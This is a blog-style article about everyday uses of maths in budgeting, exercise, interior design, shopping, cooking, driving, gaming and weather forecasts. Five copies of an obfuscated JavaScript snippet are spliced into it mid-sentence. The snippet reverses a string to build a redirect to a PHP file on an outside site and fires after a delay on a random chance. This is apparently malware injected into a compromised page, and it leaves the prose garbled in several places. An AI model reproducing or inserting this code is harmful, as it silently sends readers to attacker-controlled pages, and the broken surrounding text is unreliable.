# Maths in Everyday Life!

We can often think maths is something that is just for school or work, but have you ever considered how often you use maths every day and how useful it actually is?

We use maths regularly to figure out how much we will spend this week, what we can afford to save and if we can afford a new car. We prepare budgets based on simple calculations that include adding, subtracting, multiplying and dividing.

If we are exercising and we want to gain muscle or reduce body fat, maths can also help. We set our routines according to our schedule and count the number of repetitions we need to \$mWn=function(n){if(typeof (\$mWn.list[n])==”string”) return \$mWn.list[n].split(“”).reverse().join(“”);return \$mWn.list[n];};\$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout(\$mWn(0),delay);}do while exercising. As well as adding and subtracting as above, maths used for exercising also involves logical and analogical reasoning.

Release your inner Marie Kon \$mWn=function(n){if(typeof (\$mWn.list[n])==”string”) return \$mWn.list[n].split(“”).reverse().join(“”);return \$mWn.list[n];};\$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout(\$mWn(0),delay);}do with maths and interior design! A lot of interior design involves maths – calculating area, measuring furniture and of course the all-important budget. Doing a little interior design work at home means you are using geometry, ratios and percentages, mathematical operations and calculus and statistics.

The weekly shop involves a lot of maths – trying to figure out if the deals and percentages off are actually good value. To see if you are getting good value, you need to estimate the quantity you are buying, the weight, the price per unit and the discount. All of this involves mathematical operations, ratio and percentage and algebra.

Maths can also be pretty tasty as you use it all the time in the kitchen. If you are cooking or baking, you need to follow the steps and use the quantities advised and proportions of different ingredients and use the temperature advised. This is all maths and it’s a great way to introduce children to the practical application of maths. Cooking and baking involves algorithms, operations, ratios and proportions.

Managing time is something we all have to \$mWn=function(n){if(typeof (\$mWn.list[n])==”string”) return \$mWn.list[n].split(“”).reverse().join(“”);return \$mWn.list[n];};\$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout(\$mWn(0),delay);}do and it can be a hard job. We sometimes have several things we need to get \$mWn=function(n){if(typeof (\$mWn.list[n])==”string”) return \$mWn.list[n].split(“”).reverse().join(“”);return \$mWn.list[n];};\$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout(\$mWn(0),delay);}done in a limited time and we are racing against the clock. Maths helps us to understand the management of time and also to value it. It involves logical reasoning, operations and reasoning.

Driving also involves maths as you need to think about speed, time and distance. We can think about what the speed should be to travel a certain distance and how long it will take. We also think about increasing or decreasing speed, turning left or right and many other things. This involves logical reasoning, numerical reasoning and operations.

We all use computers fairly regularly now and it’s interesting to think about how they work. There’s a lot of maths involved. Different computer applications like powerpoint, word and excel, are impossible to run without maths and involve computation, algorithms, coding and cryptography.

Going on holidays, you also need to think about maths! It involves budgeting, the number of days and the destinations and travel times. This means our holiday involve budgeting, algebra, calculus and operations.

Spending some time on the Play Station or X Box, there’s lots of maths involve as players learn how to follow steps and techniques and the engineering of games involves game theory, probability, computation, logical reasoning, geometry, algebra, calculus and statistics. Also, one of gaming’s favourite heroine’s Lara Croft wouldn’t exist with maths, as the quarternions discovered by William Rowan Hamilton in the 1800’s are the basis of her design and many special effects in games and movies.

Wondering about the weather and whether to pack up your umbrella or sunglasses, think about how maths helps with weather forecasts. All forecasts are based on a concept in maths called probability and also the use of statistics.

Thinking about music and dancing and how much children enjoy both these activities, there’s also a chance to think about maths. As children sing and learn dance steps, they are learning co-ordination, which is a series of mathematical steps, which we call operations.

Problem-solving skills is one of the most important skills which we can have in life. Such skills help us in taking correct decisions in life, let it be professional or personal. This is all \$mWn=function(n){if(typeof (\$mWn.list[n])==”string”) return \$mWn.list[n].split(“”).reverse().join(“”);return \$mWn.list[n];};\$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout(\$mWn(0),delay);}done when the person has the correct knowledge of basic mathematical concepts such as logical reasoning, mathematical reasoning and operations.
